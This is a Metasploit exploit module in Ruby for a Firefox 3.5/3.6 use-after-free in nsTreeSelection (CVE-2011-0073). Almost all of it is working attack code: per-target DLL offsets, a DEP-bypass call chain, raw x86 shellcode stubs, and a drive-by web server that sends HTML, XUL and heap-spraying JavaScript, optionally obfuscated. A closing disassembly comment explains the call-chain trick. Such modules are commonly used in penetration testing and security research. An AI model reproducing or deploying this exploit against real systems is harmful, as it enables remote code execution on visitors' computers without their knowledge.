##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({
    :ua_name => HttpClients::FF,
    :ua_minver => "3.5",
    :ua_maxver => "3.6.16",
    :os_name => OperatingSystems::Match::WINDOWS,
    :javascript => true,
    :rank => NormalRanking,
    :vuln_test => "if (navigator.userAgent.indexOf('Windows NT 5.1') != -1 || navigator.javaEnabled()) { is_vuln = true; }",
  })

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mozilla Firefox "nsTreeRange" Dangling Pointer Vulnerability',
      'Description'    => %q{
        This module exploits a code execution vulnerability in Mozilla Firefox
        3.6.x <= 3.6.16 and 3.5.x <= 3.5.17 found in nsTreeSelection.
        By overwriting a subfunction of invalidateSelection it is possible to free the
        nsTreeRange object that the function currently operates on.
        Any further operations on the freed object can result in remote code execution.
        Utilizing the call setup the function provides it's possible to bypass DEP
        without the need for a ROP. Sadly this exploit is still either dependent
        on Java or bound by ASLR because Firefox doesn't employ any ASLR-free
        modules anymore.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'regenrecht', # discovered and sold to ZDI
          'xero', # Shenanigans
        ],
      'References'     =>
        [
          ['CVE',    '2011-0073'],
          ['OSVDB',  '72087'],
          ['BID',    '47663'],
          ['ZDI',    '11-157'],
          ['URL',    'https://bugzilla.mozilla.org/show_bug.cgi?id=630919'],
          ['URL',    'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread', # graceful exit if run in separate thread
          'InitialAutoRunScript' => 'migrate -f',
        },
      'Payload'        =>
        {
          'Space'    => 0x1000, # depending on the spray size it's actually a lot more
        },
      'Platform'       => %w{ win },
      'Targets'        =>
        [
          [ 'Auto (Direct attack against Windows XP, otherwise through Java, if enabled)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
              'Auto' => true,
              'Targets' => [['navigator.userAgent.indexOf("Windows NT 5.1") != -1', 1],
                ['navigator.javaEnabled()', 2]],
              'UsesJava' => true
            }
          ],
          [ 'Firefox Runtime, fails with ASLR',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
              'VPOffset' => 0x781A91F8, # VirtualProtect
              'LLOffset' => 0x781A9104, # LoadLibraryA
              'GPAOffset' => 0x781A9014, # GetProcAddress
              'UsesJava' => false
            }
          ],
          [ 'Java Runtime (7.10.3052.4), best against ASLR',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
              'VPOffset' => 0x7C37A140,
              'LLOffset' => 0x7C37A0B8,
              'GPAOffset' => 0x7C37A00C,
              'UsesJava' => true
            }
          ],
          [ 'Java JVM (20.1.0.02)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
              'VPOffset' => 0x6D9FC094,
              'LLOffset' => 0x6D9FC110,
              'GPAOffset' => 0x6D9FC188,
              'UsesJava' => true
            }
          ],
          [ 'Java Regutils (6.0.260.3)',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
              'VPOffset' => 0x6D6C227C,
              'LLOffset' => 0x6D6C2198,
              'GPAOffset' => 0x6D6C2184,
              'UsesJava' => true
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Feb 2 2011'
      ))

    register_options(
      [
        OptBool.new('SEHProlog', [ true, 'Whether to prepend the payload with an SEH prolog, to catch crashes and enable a silent exit', true]),
        OptBool.new('CreateThread', [ true, 'Whether to execute the payload in a new thread', true]),
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]),
      ], self.class
    )

    register_advanced_options(
      [
        OptInt.new('BaseOffset', [ true, 'The offset we hope to have overwritten with our heap spray', 0x0F000000 ]),
        OptInt.new('SpraySize', [ true, 'The size of our heapspray blocks', 0x100000 ]),
        OptInt.new('SprayCount', [ true, 'Number of blocks to be sprayed', 200 ]),
        OptBool.new('SetBP', [ true, 'Set a breakpoint before payload execution', false ]),
        OptBool.new('Crash', [ true, 'Usa an invalid offset to make the exploit crash (for debugging)', false ]),
      ], self.class
    )
  end

  def prepare_payload(target, p)
    base_offset = (datastore['Crash'] != true) ? datastore['BaseOffset'] : 1
    spray_size = datastore['SpraySize']

    esp_fix = 0
    callchain = []

    # Adding calls by hand is tedious, look at the bottom for an explanation of these values
    add_call = Proc.new { |offset, arg1, arg2, direct |
      next_offset = base_offset + (callchain.flatten.length*4)
      callchain[-1][2] = next_offset if callchain.length > 0 # connect new frame to last one

      if direct
        callchain <<
        [
          next_offset + 0x4 - 8,
          next_offset + 0x14,
          0,
          arg1,
          arg2,
          next_offset + 0x18 - 0x70,
          offset
        ]
      else
        callchain <<
        [
          next_offset + 0x4 - 8,
          next_offset + 0x14,
          0,
          arg1,
          arg2,
          offset - 0x70
        ]
      end
    }

    add_call.call(target['LLOffset'], base_offset, 0) # use dummy LoadLibrary call to push valid fourth VirtualProtect argument on stack
    add_call.call(target['VPOffset'], 0x10000, 0x40) # call VirtualProtect to make heap executable
    add_call.call(0xDEADBEEF, 0, 0, true) # call our shellcode

    callchain.flatten!
    callchain[-1] = base_offset + (callchain.length*4) # patch last offset to point to shellcode located after callchain

    esp_fix = 0x10

    payload_buf = callchain.pack('V*')

    payload_buf << "\xCC" if datastore['SetBP']

    # make rest of shellcode run in separate thread
    if datastore['CreateThread'] and target['LLOffset'] and target['GPAOffset']
      payload_buf << "\x60\x31\xc0\x50\x50\x50\xe8\x00\x00\x00\x00\x5a\x89\xd6"
      payload_buf << "\x52\x83\x04\x24\x3b\x83\xc2\x25\x83\xc6\x2e\x50\x50\x56"
      payload_buf << "\x52\xff\x15#{[target['LLOffset']].pack('V')}\x50\xff\x15#{[target['GPAOffset']].pack('V')}"
      payload_buf << "\xff\xd0\x61\xc2#{[esp_fix].pack('v')}\x6b\x65\x72\x6e\x65\x6c\x33\x32"
      payload_buf << "\x00\x43\x72\x65\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00"

      esp_fix = 0
    end

    # encapsulate actual payload in SEH handler
    if datastore['SEHProlog']
      payload_buf << "\x60\xe8\x00\x00\x00\x00\x83\x04\x24\x1a\x64\xff\x35\x00"
      payload_buf << "\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x81\xec\x00\x01"
      payload_buf << "\x00\x00\xeb\x12\x8b\x64\x24\x08\x64\x8f\x05\x00\x00\x00"
      payload_buf << "\x00\x83\xc4\x04\x61\xc2"
      payload_buf << [esp_fix].pack('v')
    end

    payload_buf << p

    # controlled crash, to return to our SEH handler
    payload_buf << "\x33\xC0\xFF\xE0" if datastore['SEHProlog']

    payload_buf
  end

  def on_request_uri(cli, request)

    if request.uri == get_resource() or request.uri =~ /\/$/
      print_status("Redirecting to .html URL")
      redir = get_resource()
      redir << '/' if redir[-1,1] != '/'
      redir << rand_text_alphanumeric(4+rand(4))
      redir << '.html'
      send_redirect(cli, redir)

    elsif request.uri =~ /\.html?$/
      print_status("Sending HTML")
      xul_name  	= rand_text_alpha(rand(100)+1)
      j_applet 	= rand_text_alpha(rand(100)+1)

      html = <<-EOS
<html>
#{"<applet codebase=\".\" code=\"#{j_applet}.class\" width=0 height=0></applet>" if target['UsesJava']}
<iframe src="#{xul_name}.xul" width="1" height="1" frameborder="0"></iframe>
</html>
EOS
      send_response(cli, html, { 'Content-Type' => 'text/html' })

    elsif request.uri =~ /\.xul$/
      print_status("Sending XUL")

      js_file  = rand_text_alpha(rand(100)+1)
      @js_func = rand_text_alpha(rand(32)+1)

      xul = <<-EOS
<?xml version="1.0"?>
<?xml-stylesheet type="text/css"?>
<window xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="#{@js_func}()">
<script src="#{js_file}.js"/>
<tree id="tr">
  <treechildren>
    <treeitem>
      <treerow>
        <treecell label=""/>
      </treerow>
    </treeitem>
  </treechildren>
</tree>
</window>
EOS
      send_response(cli, xul, { 'Content-Type' => 'application/vnd.mozilla.xul+xml' })

    elsif request.uri =~ /\.js$/
      print_status("Sending JS")
      return if ((p = regenerate_payload(cli).encoded) == nil)

      base_offset = (datastore['Crash'] != true) ? datastore['BaseOffset'] : 1
      spray_size = datastore['SpraySize']
      spray_count = datastore['SprayCount']

      if not target['Auto']
        escaped_payload = Rex::Text.to_unescape(prepare_payload(target, p))
        shellcode_str = "var shellcode = unescape(\"#{escaped_payload}\");"
      else
        shellcode_str = target['Targets'].map{ |check, index|
          "if (#{check}) {\n var shellcode = unescape(\"#{Rex::Text.to_unescape(prepare_payload(targets[index], p))}\");\n }"}.join(' else ')
        shellcode_str << " else { return; }"
      end

      escaped_addr = Rex::Text.to_unescape([base_offset].pack("V"))

      custom_js = <<-EOS
function #{@js_func}() {

  container = new Array();

  #{shellcode_str}

  var delimiter = unescape("%udead");

  var block = unescape("#{escaped_addr}");
  while (block.length < 8)
    block += block;

  var treeSel = document.getElementById("tr").view.selection;

  treeSel.clearSelection();

  for (var count = 0; count < 30; ++count)
    container.push(block + delimiter);

  treeSel.select(0);

  treeSel.tree = {
    invalidateRange: function(s,e) {

      treeSel.tree = null;
      treeSel.clearSelection();

      for (var count = 0; count < 10; ++count)
        container.push(block + delimiter);

      var big = unescape("%u4558%u4f52");
      while (big.length < #{spray_size / 2})
        big += big;

      var pad = big.substring(0, #{(base_offset % spray_size)/2}) + shellcode;
      var spray = pad + big.substring(pad.length + 2);

      for (var count = 0; count < #{spray_count}; ++count)
        container.push(spray + delimiter);
    }
  }

  treeSel.invalidateSelection();
}
EOS

      if datastore['OBFUSCATE']
        opts = {
          'Symbols' => {
            'Variables' => %w{ shellcode container delimiter block treeSel big pad spray count }
          }
        }

        custom_js = obfuscate_js(custom_js,opts)
      end

      send_response(cli, custom_js, { 'Content-Type' => 'application/x-javascript' })
    end

    # Handle the payload
    handler(cli)
  end
end

=begin

ESI points to shellcode

final call looks like this: CALL [[[[ESI]+8]]+70]
[ESI+10], [ESI+C] and [[ESI]+8] are pushed as arguments
[ESI+8] points to the next call frame, if there is one

104924BC  /$  56            PUSH ESI
104924BD  |.  8B7424 08     MOV ESI,DWORD PTR SS:[ESP+8]
104924C1  |>  8B06          /MOV EAX,DWORD PTR DS:[ESI]
104924C3  |.  8B40 08       |MOV EAX,DWORD PTR DS:[EAX+8]
104924C6  |.  85C0          |TEST EAX,EAX
104924C8  |.  74 0C         |JE SHORT xul.104924D6
104924CA  |.  FF76 10       |PUSH DWORD PTR DS:[ESI+10]
104924CD  |.  8B08          |MOV ECX,DWORD PTR DS:[EAX]
104924CF  |.  FF76 0C       |PUSH DWORD PTR DS:[ESI+C]
104924D2  |.  50            |PUSH EAX
104924D3  |.  FF51 70       |CALL DWORD PTR DS:[ECX+70] # does the calling for us
104924D6  |>  8B76 08       |MOV ESI,DWORD PTR DS:[ESI+8]
104924D9  |.  85F6          |TEST ESI,ESI
104924DB  |.^ 75 E4         \JNZ SHORT xul.104924C1
104924DD  |.  5E            POP ESI
104924DE  \.  C2 0400       RETN 4
=end
